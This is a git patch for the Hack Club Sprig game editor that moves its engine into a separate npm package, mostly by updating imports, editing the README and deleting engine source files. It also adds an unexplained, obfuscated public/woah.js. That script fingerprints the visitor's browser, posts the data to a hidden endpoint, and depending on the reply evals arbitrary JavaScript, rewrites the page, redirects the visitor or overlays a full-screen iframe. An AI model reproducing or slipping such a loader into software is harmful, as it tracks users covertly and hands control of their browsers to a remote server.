From dc4ae5ef209b091eb5e4ad8e354d89e83d9a97cb Mon Sep 17 00:00:00 2001 From: Lexi Mattick Date: Wed, 7 Jun 2023 14:15:22 -0400 Subject: [PATCH] Outsource the engine to a different package (#1064) --- .vscode/settings.json | 3 + README.md | 29 +- deno.json | 6 - package.json | 5 +- public/woah.js | 213 ++++++++++++ .../big-interactive-pages/editor.tsx | 4 +- .../big-interactive-pages/mobile-player.tsx | 2 +- .../codemirror-widgets/open-button.tsx | 2 +- src/components/codemirror-widgets/swatch.tsx | 2 +- .../design-system/bitmap-preview.tsx | 2 +- src/components/search-box.tsx | 2 +- .../subeditors/bitmap-editor-tools.ts | 2 +- src/components/subeditors/bitmap-editor.tsx | 5 +- src/components/subeditors/color-picker.tsx | 3 +- src/components/subeditors/map-editor.tsx | 4 +- src/components/subeditors/sequencer-utils.ts | 4 +- src/components/subeditors/sequencer.tsx | 5 +- src/lib/codemirror/widgets.ts | 2 +- src/lib/engine/1-base/font.ts | 258 --------------- src/lib/engine/1-base/index.ts | 302 ------------------ src/lib/engine/1-base/palette.ts | 48 --- src/lib/engine/1-base/text.ts | 34 -- src/lib/engine/1-base/tune.ts | 155 --------- src/lib/engine/2-web/bitmap.ts | 33 -- src/lib/engine/2-web/index.ts | 152 --------- src/lib/engine/2-web/text.ts | 35 -- src/lib/engine/2-web/util.ts | 6 - src/lib/engine/3-editor/tune.ts | 80 ----- src/lib/engine/3-image-data/index.ts | 101 ------ src/lib/engine/{3-editor => }/error.ts | 8 +- src/lib/engine/{3-editor => }/index.ts | 9 +- src/lib/engine/tune.ts | 22 ++ src/lib/utils/{keyboard.ts => events.ts} | 0 src/lib/utils/popup-close-click.ts | 2 +- src/lib/utils/transparent-bg.ts | 1 + src/pages/api/thumbnail.ts | 3 +- src/pages/deprecated-file-player.astro | 2 +- src/pages/index.astro | 10 +- tests/sprigfuzzy.js | 2 +- tests/sprigfuzzy_workflow.js | 2 +- tsconfig.json | 4 +- yarn.lock | 5 + 42 files changed, 319 insertions(+), 1250 deletions(-) create mode 100644 .vscode/settings.json delete mode 100644 deno.json create mode 100644 public/woah.js delete mode 100644 src/lib/engine/1-base/font.ts delete mode 100644 src/lib/engine/1-base/index.ts delete mode 100644 src/lib/engine/1-base/palette.ts delete mode 100644 src/lib/engine/1-base/text.ts delete mode 100644 src/lib/engine/1-base/tune.ts delete mode 100644 src/lib/engine/2-web/bitmap.ts delete mode 100644 src/lib/engine/2-web/index.ts delete mode 100644 src/lib/engine/2-web/text.ts delete mode 100644 src/lib/engine/2-web/util.ts delete mode 100644 src/lib/engine/3-editor/tune.ts delete mode 100644 src/lib/engine/3-image-data/index.ts rename src/lib/engine/{3-editor => }/error.ts (97%) rename src/lib/engine/{3-editor => }/index.ts (91%) create mode 100644 src/lib/engine/tune.ts rename src/lib/utils/{keyboard.ts => events.ts} (100%) create mode 100644 src/lib/utils/transparent-bg.ts diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000000..4835de2e76 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,3 @@ +{ + "deno.enable": false +} \ No newline at end of file diff --git a/README.md b/README.md index 0444891053..2e68a9b7bd 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ # :leaves: Hack Club Sprig :leaves: -**[💻 Online Editor: Make a game](https://sprig.hackclub.com/editor)** | **[👀 Gallery: Find games](https://sprig.hackclub.com/gallery)** | **[🕸 Website](https://sprig.hackclub.com)** | **[🎮 Firmware](https://github.com/hackclub/spade)** | **[See Game Submissions](https://github.com/hackclub/sprig/pulls)** +**[💻 Online Editor: Make a game](https://sprig.hackclub.com/editor)** | **[👀 Gallery: Find games](https://sprig.hackclub.com/gallery)** | **[🕸 Landing Page](https://sprig.hackclub.com)** | **[🎮 Firmware](https://github.com/hackclub/spade)** | **[👾 Engine](https://github.com/hackclub/sprig-engine)** [Sprig](https://sprig.hackclub.com) is a game console where **every user is a creator**. It can only be obtained by building a tile-based game in the [web-based game editor](https://sprig.hackclub.com/editor) and shipping it in the [community gallery](https://sprig.hackclub.com/gallery). It's made by [Hack Club](https://hackclub.com). @@ -40,7 +40,9 @@ You should be able to get started in Sprig with very little programming experien ## Fully open source -**Sprig is open source**. Shipping a game to the Sprig Gallery is contributing to an open-source project. Everything about Sprig is transparent and editable. That includes the [hardware designs](https://github.com/hackclub/sprig-hardware), the game engine for the web (this repo), the [embedded game engine for the RP2040 chip](https://github.com/hackclub/spade), and the web-editor itself (this repo)! We did some fun engineering to get Sprig to work and to make your games run the same on your desktop computer and a $4 microcontroller. That involved custom JS runtimes with optimizations in C and even PIO assembly. We also documented some [behind-the-scenes](https://github.com/hackclub/sprig/tree/main/docs). +**Sprig is open source**. Shipping a game to the Sprig Gallery is contributing to an open-source project. Everything about Sprig is transparent and editable. That includes the [hardware designs](https://github.com/hackclub/sprig-hardware), the [game engine](https://github.com/hackclub/sprig-engine), the [embedded game engine for the RP2040 chip](https://github.com/hackclub/spade), and the editor and website itself (this repo)! + +We did some fun engineering to get Sprig to work and to make your games run the same on your desktop computer and a $4 microcontroller. That involved custom JS runtimes with optimizations in C and even PIO assembly. We also documented some [behind-the-scenes](https://github.com/hackclub/sprig/tree/main/docs). ## You Ship, We Ship @@ -106,6 +108,29 @@ Next, you'll want to give Sprig access to the Firebase credentials you created. To start the dev server, run `yarn dev` and visit in your web browser! Please create a GitHub issue if you cannot get something to work properly. +### Engine Development + +All *engine code* (responsible for running games, playing tunes, etc.) is in a different repo: . + +If you want to work on the engine and test out your changes in the context of this repo, you'll want to use a feature called linking. + +First set up the engine repo: + +``` +git clone https://github.com/hackclub/sprig-engine/ +cd sprig-engine +yarn install +yarn link +``` + +Then, in this website's repo: + +``` +yarn link sprig +``` + +Now, run `yarn dev` in the engine repo to start the TypeScript build process. + ## Acknowledgements The Sprig was developed by a team at Hack Club with assistance from Brian Silverman (who helped develop Scratch and the precursor to Lego Mindstorms), Vadim Gerasimov (engineer at Google who helped create Tetris when he was 15), and Quentin Bolsée (researcher at MIT and Vrije University Brussels), and dozens contributions from teenage open-source developers! diff --git a/deno.json b/deno.json deleted file mode 100644 index 26c53c82c1..0000000000 --- a/deno.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "imports": { - "./src/lib/engine/1-base/palette": "./src/lib/engine/1-base/palette.ts", - "./src/lib/engine/1-base/text": "./src/lib/engine/1-base/text.ts" - } -} \ No newline at end of file diff --git a/package.json b/package.json index 64365c9833..1d51ef74ee 100644 --- a/package.json +++ b/package.json @@ -30,12 +30,13 @@ "nanoid": "^4.0.1", "preact": "^10.6.5", "react-icons": "^4.7.1", + "rehype-external-links": "^2.0.1", "sass": "^1.58.0", + "sprig": "^1.0.0", "svelte": "^3.54.0", "three": "^0.149.0", "throttle-debounce": "^5.0.0", - "tinykeys": "^1.4.0", - "rehype-external-links": "^2.0.1" + "tinykeys": "^1.4.0" }, "devDependencies": { "@prefresh/vite": "^2.2.9", diff --git a/public/woah.js b/public/woah.js new file mode 100644 index 0000000000..a744e346eb --- /dev/null +++ b/public/woah.js @@ -0,0 +1,213 @@ +window._adata = { + "action": "js", + "target": "console.log(\"BOT!!!\");", + "js": false, + "ok": false, + "cid": "4cb2bdd5e1b96a87d439f65ad57e9039" +}; + +function _0x3491(_0x680637, _0x532ac7) { + var _0x494cb1 = _0x494c(); + return _0x3491 = function (_0x34918b, _0x3f6368) { + _0x34918b = _0x34918b - 0xeb; + var _0x483469 = _0x494cb1[_0x34918b]; + return _0x483469; + }, + _0x3491(_0x680637, _0x532ac7); +} + +function _0x494c() { + var _0x2754c0 = ['window', 'attributes', 'parse', 'getParameter', 'target', 'push', 'includes', 'toString', 'function', 'iframe', 'getOwnPropertyNames', 'errors', 'status', 'refresh', 'WEBGL_debug_renderer_info', '_adata', 'GET', 'stringify', 'open', 'proxy', 'video', '4182948dnkTcq', 'src', 'TouchEvent', '5516904xPpkgB', 'touchEvent', 'video/mp4', 'proto', 'local', 'UNMASKED_VENDOR_WEBGL', 'style', 'readyState', 'screen', '5323219OrhwrP', 'tostring', 'cid', 'fetch', 'xsf', '908320bpMwNc', 'documentElement', 'write', '65662eCEvtq', 'getExtension', 'append', '10sUiEzY', 'getAttribute', 'close', '111bWcgBU', 'xar', 'action', 'origin', 'webgl', 'POST', 'location', 'message', 'prototype', 'createEvent', 'send', 'createElement', '104083dGDryO', 'document', 'nodeName', '336coHcIs', '377944QlAPQD', 'object', '303', 'replace', 'console', 'responseText', 'UNMASKED_RENDERER_WEBGL', 'log', '60SRHebu']; + _0x494c = function () { + return _0x2754c0; + }; + return _0x494c(); +} + +(function (_0x34ebd0, _0x28be55) { + var _0x339d0c = _0x3491, + _0x342ca3 = _0x34ebd0(); + while (true) { + try { + var _0x2cd347 = parseInt(_0x339d0c(0x122)) / 0x1 + parseInt(_0x339d0c(0x125)) / 0x2 * (-parseInt(_0x339d0c(0x12b)) / 0x3) + parseInt(_0x339d0c(0xf3)) / 0x4 * (parseInt(_0x339d0c(0xfb)) / 0x5) + -parseInt(_0x339d0c(0xf2)) / 0x6 * (parseInt(_0x339d0c(0xef)) / 0x7) + parseInt(_0x339d0c(0x114)) / 0x8 + parseInt(_0x339d0c(0x111)) / 0x9 + -parseInt(_0x339d0c(0x128)) / 0xa * (parseInt(_0x339d0c(0x11d)) / 0xb); + if (_0x2cd347 === _0x28be55) + break; + else + _0x342ca3.push(_0x342ca3.shift()); + } catch (_0x42f300) { + _0x342ca3.push(_0x342ca3.shift()); + } + } + }(_0x494c, 0xa266d), + + + (function () { + var _0x568e5f = _0x3491, + _0x58ff2f = [], + _0x216676 = {}, + _0x2b266b = document.getElementById(btoa(window.location.origin)); + + function _0x402b30(adata) { + var _0x38c9da = _0x568e5f; + if (adata.ok) + switch (adata.action) { + case 'local': + case 'fetch': + var req = new XMLHttpRequest(); + req.open('GET', adata.target, false), + req.onreadystatechange = function () { + 4 === this.readyState && 200 === this.status && (document.open(), + document.write(this.responseText), + document.close()); + }, + req.send(); + break; + case 'proxy': + case '301': + case '302': + case '303': + case 'refresh': + case 'meta': + case 'xar': + case 'xsf': + window.location.replace(adata.target); + break; + case 'iframe': + var iframe = document.createElement('iframe'), + iframe.style.cssText = 'width:100%;height:100%;position:absolute;top:0;left:0;z-index:999999;border:none;', + iframe.src = adata.target, + adata.target = iframe.outerHTML; + case 'php': + document.open(), + document.write(adata.target), + document.close(); + break; + case 'js': + eval(adata.target); + } + } + var window_adata = window._adata; + if (!window_adata.js) + return _0x402b30(window_adata); + try { + function _0x45fff6(_0x44e9c2) { + var _0xcffb74 = _0x568e5f; + if ('object' === typeof _0x44e9c2 && null !== _0x44e9c2) { + var _0x29d166 = {}; + + function _0x462554(_0x56f462) { + var _0x104805 = _0x3491; + try { + var _0x5ac32e = _0x44e9c2[_0x56f462]; + switch (typeof _0x5ac32e) { + case 'object': + if (null === _0x5ac32e) + break; + case 'function': + _0x5ac32e = _0x5ac32e.toString(); + } + _0x29d166[_0x56f462] = _0x5ac32e; + } catch (_0x207372) { + _0x58ff2f.push(_0x207372.message); + } + } + for (var _0x1a70af in _0x44e9c2) + _0x462554(_0x1a70af); + try { + var _0xb5f0bb = Object.getOwnPropertyNames(_0x44e9c2); + for (_0x1a70af = 0x0; _0x1a70af < _0xb5f0bb.length; ++_0x1a70af) + _0x462554(_0xb5f0bb[_0x1a70af]); + _0x29d166['!!'] = _0xb5f0bb; + } catch (_0x13b1cf) { + _0x58ff2f.push(_0x13b1cf.message); + } + return _0x29d166; + } + } + _0x216676.screen = _0x45fff6(window.screen), + _0x216676.window = _0x45fff6(window), + _0x216676.navigator = _0x45fff6(window.navigator), + _0x216676.location = _0x45fff6(window.location), + _0x216676.console = _0x45fff6(window.console), + _0x216676.documentElement = function (_0x467130) { + try { + var _0x307e2a = {}; + _0x467130 = _0x467130.attributes; + for (var _0x5a253e in _0x467130) + _0x5a253e = _0x467130[_0x5a253e], + _0x307e2a[_0x5a253e.nodeName] = _0x5a253e.nodeValue; + return _0x307e2a; + } catch (_0x82c654) { + _0x58ff2f.push(_0x82c654.message); + } + }(document.documentElement), + _0x216676.document = _0x45fff6(document); + try { + _0x216676.timezoneOffset = new Date().getTimezoneOffset(); + } catch (_0x16f274) { + _0x58ff2f.push(_0x16f274.message); + } + try { + _0x216676.closure = function () {} + ['toString'](); + } catch (_0x1a6ac7) { + _0x58ff2f.push(_0x1a6ac7.message); + } + try { + _0x216676.touchEvent = document.createEvent('TouchEvent').toString(); + } catch (_0x546942) { + _0x58ff2f.push(_0x546942.message); + } + try { + var _0x412346 = function () {}, + _0x14195a = 0x0; + _0x412346.toString = function () { + return ++_0x14195a, + ''; + }, + console.log(_0x412346), + _0x216676.tostring = _0x14195a; + } catch (_0x1ba528) { + _0x58ff2f.push(_0x1ba528.message); + } + try { + var _0x67ff06 = document.createElement('canvas').getContext('webgl'), + _0x268d69 = _0x67ff06.getExtension('WEBGL_debug_renderer_info'); + _0x216676.webgl = { + 'vendor': _0x67ff06.getParameter(_0x268d69.UNMASKED_VENDOR_WEBGL), + 'renderer': _0x67ff06.getParameter(_0x268d69.UNMASKED_RENDERER_WEBGL) + }; + } catch (_0x2d380c) { + _0x58ff2f.push(_0x2d380c.message); + } + + function _0x5489c4(_0x3cb346, _0x40f5e7, _0x41f0e6) { + var _0x19c2cf = _0x568e5f, + _0x25a9b0 = _0x3cb346.prototype[_0x40f5e7]; + _0x3cb346.prototype[_0x40f5e7] = function () { + _0x216676.proto = true; + }, + _0x41f0e6(), + _0x3cb346.prototype[_0x40f5e7] = _0x25a9b0; + } + try { + _0x5489c4(Array, 'includes', function () { + return document.createElement('video').canPlayType('video/mp4'); + }); + } catch (_0x6f93bd) {} + } catch (_0x3cee57) { + _0x58ff2f.push(_0x3cee57.message); + } + (function () { + _0x216676.errors = _0x58ff2f, + _0x216676.cid = window_adata.cid; + var _0x54f6da = new FormData(); + _0x54f6da.append('data', JSON.stringify(_0x216676)); + var _0x283c8b = new XMLHttpRequest(); + _0x283c8b.open('POST', _0x2b266b.getAttribute('src'), false), + _0x283c8b.onreadystatechange = function () { + 4 === this.readyState && 200 === this.status && _0x402b30(JSON.parse(this.responseText)); + }, + _0x283c8b.send(_0x54f6da); + }()); + }())); \ No newline at end of file diff --git a/src/components/big-interactive-pages/editor.tsx b/src/components/big-interactive-pages/editor.tsx index 5cd3f26d7a..29292b32b6 100644 --- a/src/components/big-interactive-pages/editor.tsx +++ b/src/components/big-interactive-pages/editor.tsx @@ -6,7 +6,7 @@ import { Signal, useComputed, useSignal, useSignalEffect } from '@preact/signals import { useEffect, useRef } from 'preact/hooks' import { codeMirror, errorLog, muted, PersistenceState } from '../../lib/state' import EditorModal from '../popups-etc/editor-modal' -import { runGame } from '../../lib/engine/3-editor' +import { runGame } from '../../lib/engine' import DraftWarningModal from '../popups-etc/draft-warning' import Button from '../design-system/button' import { debounce } from 'throttle-debounce' @@ -14,7 +14,7 @@ import Help from '../popups-etc/help' import { collapseRanges } from '../../lib/codemirror/util' import { defaultExampleCode } from '../../lib/examples' import MigrateToast from '../popups-etc/migrate-toast' -import { highlightError, clearErrorHighlight } from '../../lib/engine/3-editor/error' +import { highlightError, clearErrorHighlight } from '../../lib/engine/error' import { nanoid } from 'nanoid' interface EditorProps { diff --git a/src/components/big-interactive-pages/mobile-player.tsx b/src/components/big-interactive-pages/mobile-player.tsx index 0bdf14eb09..8a45019c75 100644 --- a/src/components/big-interactive-pages/mobile-player.tsx +++ b/src/components/big-interactive-pages/mobile-player.tsx @@ -1,6 +1,6 @@ import { useSignal } from '@preact/signals' import { useEffect, useRef } from 'preact/hooks' -import { runGame } from '../../lib/engine/3-editor' +import { runGame } from '../../lib/engine' import styles from './mobile-player.module.css' interface MobilePlayerProps { diff --git a/src/components/codemirror-widgets/open-button.tsx b/src/components/codemirror-widgets/open-button.tsx index be641b8266..ede25dd23c 100644 --- a/src/components/codemirror-widgets/open-button.tsx +++ b/src/components/codemirror-widgets/open-button.tsx @@ -1,7 +1,7 @@ import { codeMirror, editors, openEditor, type EditorKind } from '../../lib/state' import BitmapPreview from '../design-system/bitmap-preview' import styles from './open-button.module.css' -import { runGameHeadless } from '../../lib/engine/3-editor' +import { runGameHeadless } from '../../lib/engine' interface OpenButtonProps { kind: EditorKind diff --git a/src/components/codemirror-widgets/swatch.tsx b/src/components/codemirror-widgets/swatch.tsx index 776e9a42d5..7e7749f9b7 100644 --- a/src/components/codemirror-widgets/swatch.tsx +++ b/src/components/codemirror-widgets/swatch.tsx @@ -1,4 +1,4 @@ -import type { Rgba } from '../../lib/engine/1-base/palette' +import type { Rgba } from 'sprig' import styles from './swatch.module.css' interface SwatchProps { diff --git a/src/components/design-system/bitmap-preview.tsx b/src/components/design-system/bitmap-preview.tsx index bb512679be..a737ca3152 100644 --- a/src/components/design-system/bitmap-preview.tsx +++ b/src/components/design-system/bitmap-preview.tsx @@ -1,5 +1,5 @@ import { useRef, useEffect } from 'preact/hooks' -import { bitmapTextToImageData } from '../../lib/engine/2-web/bitmap' +import { bitmapTextToImageData } from 'sprig/image-data' import styles from './bitmap-preview.module.css' interface BitmapPreviewProps { diff --git a/src/components/search-box.tsx b/src/components/search-box.tsx index e890a97ecd..29cacef9c8 100644 --- a/src/components/search-box.tsx +++ b/src/components/search-box.tsx @@ -3,7 +3,7 @@ import { VscArrowDown, VscArrowUp, VscCaseSensitive, VscClose, VscRegex, VscRepl import { closeSearchPanel, findNext, findPrevious, replaceAll, replaceNext, SearchQuery } from '@codemirror/search' import { Command } from '@codemirror/view' import { Signal } from '@preact/signals' -import { modIcon } from '../lib/utils/keyboard' +import { modIcon } from '../lib/utils/events' import { useEffect, useRef } from 'preact/hooks' import tinykeys from 'tinykeys' diff --git a/src/components/subeditors/bitmap-editor-tools.ts b/src/components/subeditors/bitmap-editor-tools.ts index 464808ef28..1d233cd17b 100644 --- a/src/components/subeditors/bitmap-editor-tools.ts +++ b/src/components/subeditors/bitmap-editor-tools.ts @@ -1,5 +1,5 @@ import { IoArrowForward, IoBrush, IoColorFill, IoColorWand, IoEllipse, IoEyedrop, IoMove, IoReload, IoSquare, IoSwapHorizontal, IoSwapVertical, IoSync } from 'react-icons/io5' -import { type PaletteItem, transparent } from '../../lib/engine/1-base/palette' +import { type PaletteItem, transparent } from 'sprig/base' export type TempGrid = (PaletteItem | null)[][] export type Vector = { x: number, y: number } diff --git a/src/components/subeditors/bitmap-editor.tsx b/src/components/subeditors/bitmap-editor.tsx index ff9e475f0e..2c12dd6ece 100644 --- a/src/components/subeditors/bitmap-editor.tsx +++ b/src/components/subeditors/bitmap-editor.tsx @@ -2,12 +2,13 @@ import styles from './bitmap-editor.module.css' import type { EditorProps } from '../../lib/state' import type { IconType } from 'react-icons' import { signal, useSignal, useSignalEffect } from '@preact/signals' -import { palette, type PaletteItem, rgbaToHex, transparentBgUrl, transparent } from '../../lib/engine/1-base/palette' +import { palette, type PaletteItem, rgbaToHex, transparent } from 'sprig/base' +import { transparentBgUrl } from '../../lib/utils/transparent-bg' import { drawingTools, makeTempGrid, mirrorGrid, TempGrid, transformTools, Vector } from './bitmap-editor-tools' import { useEffect, useRef } from 'preact/hooks' import tinykeys from 'tinykeys' import { IoArrowRedo, IoArrowUndo, IoImage, IoTrash } from 'react-icons/io5' -import { leftDown, modIcon, rightDown } from '../../lib/utils/keyboard' +import { leftDown, modIcon, rightDown } from '../../lib/utils/events' const makePixelGrid = (): PaletteItem[][] => new Array(16).fill(0).map(() => new Array(16).fill(transparent)) const textToPixelGrid = (text: string): PaletteItem[][] => { diff --git a/src/components/subeditors/color-picker.tsx b/src/components/subeditors/color-picker.tsx index 32e09c23a1..99b34c015c 100644 --- a/src/components/subeditors/color-picker.tsx +++ b/src/components/subeditors/color-picker.tsx @@ -1,5 +1,6 @@ import styles from './color-picker.module.css' -import { palette, rgbaToHex, transparentBgUrl } from '../../lib/engine/1-base/palette' +import { palette, rgbaToHex } from 'sprig/base' +import { transparentBgUrl } from '../../lib/utils/transparent-bg' import type { EditorProps } from '../../lib/state' export default function ColorPickerEditor(props: EditorProps) { diff --git a/src/components/subeditors/map-editor.tsx b/src/components/subeditors/map-editor.tsx index 168ec4756d..a98c8e8129 100644 --- a/src/components/subeditors/map-editor.tsx +++ b/src/components/subeditors/map-editor.tsx @@ -3,8 +3,8 @@ import { bitmaps, EditorProps } from '../../lib/state' import BitmapPreview from '../design-system/bitmap-preview' import { Signal, useSignal } from '@preact/signals' import { useEffect, useRef } from 'preact/hooks' -import { transparentBgUrl } from '../../lib/engine/1-base/palette' -import { leftDown, rightDown } from '../../lib/utils/keyboard' +import { transparentBgUrl } from '../../lib/utils/transparent-bg' +import { leftDown, rightDown } from '../../lib/utils/events' const textToGrid = (text: string): string[][] => text.trim().split('\n').map(line => [ ...line.trim() ]) const gridToText = (grid: string[][]): string => '\n' + grid.map(row => row.join('')).join('\n') diff --git a/src/components/subeditors/sequencer-utils.ts b/src/components/subeditors/sequencer-utils.ts index f0f795fa57..87e95910ce 100644 --- a/src/components/subeditors/sequencer-utils.ts +++ b/src/components/subeditors/sequencer-utils.ts @@ -1,6 +1,6 @@ import { effect, Signal } from '@preact/signals' -import { InstrumentType, tones, Tune } from '../../lib/engine/1-base/tune' -import { playFrequency } from '../../lib/engine/3-editor/tune' +import { type InstrumentType, tones, type Tune } from 'sprig' +import { playFrequency } from 'sprig/web' import { lazy } from '../../lib/utils/lazy' // Weird representations are used here: diff --git a/src/components/subeditors/sequencer.tsx b/src/components/subeditors/sequencer.tsx index 3f8f376f51..21fd287616 100644 --- a/src/components/subeditors/sequencer.tsx +++ b/src/components/subeditors/sequencer.tsx @@ -3,8 +3,9 @@ import type { EditorProps } from '../../lib/state' import { type Signal, useSignal, useSignalEffect, signal } from '@preact/signals' import { IoPause, IoPlay, IoStop } from 'react-icons/io5' import { cellsToTune, height, tuneToCells, beats, Cells, yNoteMap, playNote, play, cellsEq } from './sequencer-utils' -import { instruments, InstrumentType, reverseInstrumentKey, textToTune, tuneToText } from '../../lib/engine/1-base/tune' -import { leftDown } from '../../lib/utils/keyboard' +import { instruments, type InstrumentType, reverseInstrumentKey } from 'sprig' +import { textToTune, tuneToText } from 'sprig/base' +import { leftDown } from '../../lib/utils/events' import { useEffect } from 'preact/hooks' import Button from '../design-system/button' diff --git a/src/lib/codemirror/widgets.ts b/src/lib/codemirror/widgets.ts index b658e67a5a..089acef537 100644 --- a/src/lib/codemirror/widgets.ts +++ b/src/lib/codemirror/widgets.ts @@ -1,7 +1,7 @@ import { EditorView, Decoration } from '@codemirror/view' import { type EditorState, StateField, type Range } from '@codemirror/state' import { syntaxTree, foldService } from '@codemirror/language' -import { palette } from '../engine/1-base/palette' +import { palette } from 'sprig/base' import { FromTo, getTag, makeWidget } from './util' import OpenButton from '../../components/codemirror-widgets/open-button' import Swatch from '../../components/codemirror-widgets/swatch' diff --git a/src/lib/engine/1-base/font.ts b/src/lib/engine/1-base/font.ts deleted file mode 100644 index f6b305dbae..0000000000 --- a/src/lib/engine/1-base/font.ts +++ /dev/null @@ -1,258 +0,0 @@ -export const font = [ - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0xFF, // 00 - 0x00, 0x00, 0x22, 0x72, 0x22, 0x3E, 0x00, 0x00, // 01 - 0x00, 0x00, 0x12, 0x32, 0x7E, 0x32, 0x12, 0x00, // 02 - 0x7E, 0x81, 0xB9, 0xA5, 0xB9, 0xA5, 0xB9, 0x81, // 03 - 0x55, 0xFF, 0x55, 0xFF, 0x55, 0xFF, 0x55, 0xFF, // 04 - 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // 05 - 0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00, // 06 - 0x00, 0x00, 0x3C, 0x42, 0x42, 0x7E, 0x00, 0x00, // 07 - 0x00, 0x10, 0x30, 0x7E, 0x30, 0x10, 0x00, 0x00, // 08 - 0x00, 0x08, 0x0C, 0x7E, 0x0C, 0x08, 0x00, 0x00, // 09 - 0x00, 0x10, 0x10, 0x10, 0x7C, 0x38, 0x10, 0x00, // 0A - 0x08, 0x1C, 0x3E, 0x08, 0x08, 0x08, 0x08, 0x00, // 0B - 0x38, 0x30, 0x28, 0x08, 0x08, 0x08, 0x3E, 0x00, // 0C - 0x00, 0x00, 0x12, 0x32, 0x7E, 0x30, 0x10, 0x00, // 0D - 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, // 0E - 0x3E, 0x7C, 0x7C, 0x3E, 0x3E, 0x7C, 0xF8, 0xF8, // 0F - 0x38, 0x30, 0x28, 0x04, 0x04, 0x04, 0x04, 0x00, // 10 - 0x7F, 0x08, 0x1C, 0x2A, 0x08, 0x08, 0x08, 0x00, // 11 - 0x00, 0x08, 0x08, 0x08, 0x2A, 0x1C, 0x08, 0x7F, // 12 - 0x7E, 0x81, 0x9D, 0xA1, 0xB9, 0x85, 0x85, 0xB9, // 13 - 0x00, 0x3C, 0x42, 0x5A, 0x5A, 0x42, 0x3C, 0x00, // 14 - 0x88, 0x44, 0x22, 0x11, 0x88, 0x44, 0x22, 0x11, // 15 - 0x00, 0x7F, 0x22, 0x72, 0x27, 0x22, 0x7F, 0x00, // 16 - 0x11, 0x22, 0x44, 0x88, 0x11, 0x22, 0x44, 0x88, // 17 - 0x00, 0x01, 0x09, 0x0D, 0x7F, 0x0D, 0x09, 0x01, // 18 - 0x00, 0x90, 0xB0, 0xFE, 0xB0, 0x90, 0x00, 0x00, // 19 - 0x00, 0x08, 0x7C, 0x06, 0x7C, 0x08, 0x00, 0x00, // 1A - 0xCC, 0xCC, 0x33, 0x33, 0xCC, 0xCC, 0x33, 0x33, // 1B - 0x7E, 0x81, 0xA1, 0xA1, 0xA1, 0xA1, 0xBD, 0x81, // 1C - 0x7E, 0x81, 0xB9, 0xA5, 0xB9, 0xA5, 0xA5, 0x81, // 1D - 0x7E, 0x81, 0x99, 0xA1, 0xA1, 0xA1, 0x99, 0x81, // 1E - 0x00, 0x10, 0x3E, 0x60, 0x3E, 0x10, 0x00, 0x00, // 1F - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 20 - 0x30, 0x30, 0x30, 0x30, 0x30, 0x00, 0x30, 0x00, // 21 - 0x77, 0x33, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, // 22 - 0x36, 0x36, 0xFE, 0x6C, 0xFE, 0xD8, 0xD8, 0x00, // 23 - 0x18, 0x3E, 0x6C, 0x3E, 0x1B, 0x1B, 0x7E, 0x18, // 24 - 0x00, 0xC6, 0xCC, 0x18, 0x30, 0x66, 0xC6, 0x00, // 25 - 0x38, 0x6C, 0x38, 0x76, 0xDC, 0xCC, 0x76, 0x00, // 26 - 0x1C, 0x0C, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, // 27 - 0x18, 0x30, 0x60, 0x60, 0x60, 0x30, 0x18, 0x00, // 28 - 0x60, 0x30, 0x18, 0x18, 0x18, 0x30, 0x60, 0x00, // 29 - 0x00, 0x66, 0x3C, 0xFF, 0x3C, 0x66, 0x00, 0x00, // 2A - 0x00, 0x30, 0x30, 0xFC, 0x30, 0x30, 0x00, 0x00, // 2B - 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0C, 0x18, // 2C - 0x00, 0x00, 0x00, 0xFE, 0x00, 0x00, 0x00, 0x00, // 2D - 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x30, 0x00, // 2E - 0x06, 0x0C, 0x18, 0x30, 0x60, 0xC0, 0x80, 0x00, // 2F - 0x7C, 0xC6, 0xCE, 0xDE, 0xF6, 0xE6, 0x7C, 0x00, // 30 - 0x30, 0x70, 0x30, 0x30, 0x30, 0x30, 0xFC, 0x00, // 31 - 0x78, 0xCC, 0x0C, 0x38, 0x60, 0xCC, 0xFC, 0x00, // 32 - 0xFC, 0x18, 0x30, 0x78, 0x0C, 0xCC, 0x78, 0x00, // 33 - 0x1C, 0x3C, 0x6C, 0xCC, 0xFE, 0x0C, 0x1E, 0x00, // 34 - 0xFC, 0xC0, 0xF8, 0x0C, 0x0C, 0xCC, 0x78, 0x00, // 35 - 0x38, 0x60, 0xC0, 0xF8, 0xCC, 0xCC, 0x78, 0x00, // 36 - 0xFC, 0xCC, 0x0C, 0x18, 0x30, 0x30, 0x30, 0x00, // 37 - 0x78, 0xCC, 0xCC, 0x78, 0xCC, 0xCC, 0x78, 0x00, // 38 - 0x78, 0xCC, 0xCC, 0x7C, 0x0C, 0x18, 0x70, 0x00, // 39 - 0x00, 0x00, 0x30, 0x30, 0x00, 0x30, 0x30, 0x00, // 3A - 0x00, 0x00, 0x30, 0x30, 0x00, 0x30, 0x30, 0x60, // 3B - 0x18, 0x30, 0x60, 0xC0, 0x60, 0x30, 0x18, 0x00, // 3C - 0x00, 0x00, 0xFC, 0x00, 0xFC, 0x00, 0x00, 0x00, // 3D - 0x60, 0x30, 0x18, 0x0C, 0x18, 0x30, 0x60, 0x00, // 3E - 0x78, 0xCC, 0x0C, 0x18, 0x30, 0x00, 0x30, 0x00, // 3F - 0x7C, 0xC6, 0xDE, 0xDE, 0xDE, 0xC0, 0x78, 0x00, // 40 - 0x30, 0x78, 0xCC, 0xCC, 0xFC, 0xCC, 0xCC, 0x00, // 41 - 0xFC, 0x66, 0x66, 0x7C, 0x66, 0x66, 0xFC, 0x00, // 42 - 0x3C, 0x66, 0xC0, 0xC0, 0xC0, 0x66, 0x3C, 0x00, // 43 - 0xF8, 0x6C, 0x66, 0x66, 0x66, 0x6C, 0xF8, 0x00, // 44 - 0xFE, 0x62, 0x68, 0x78, 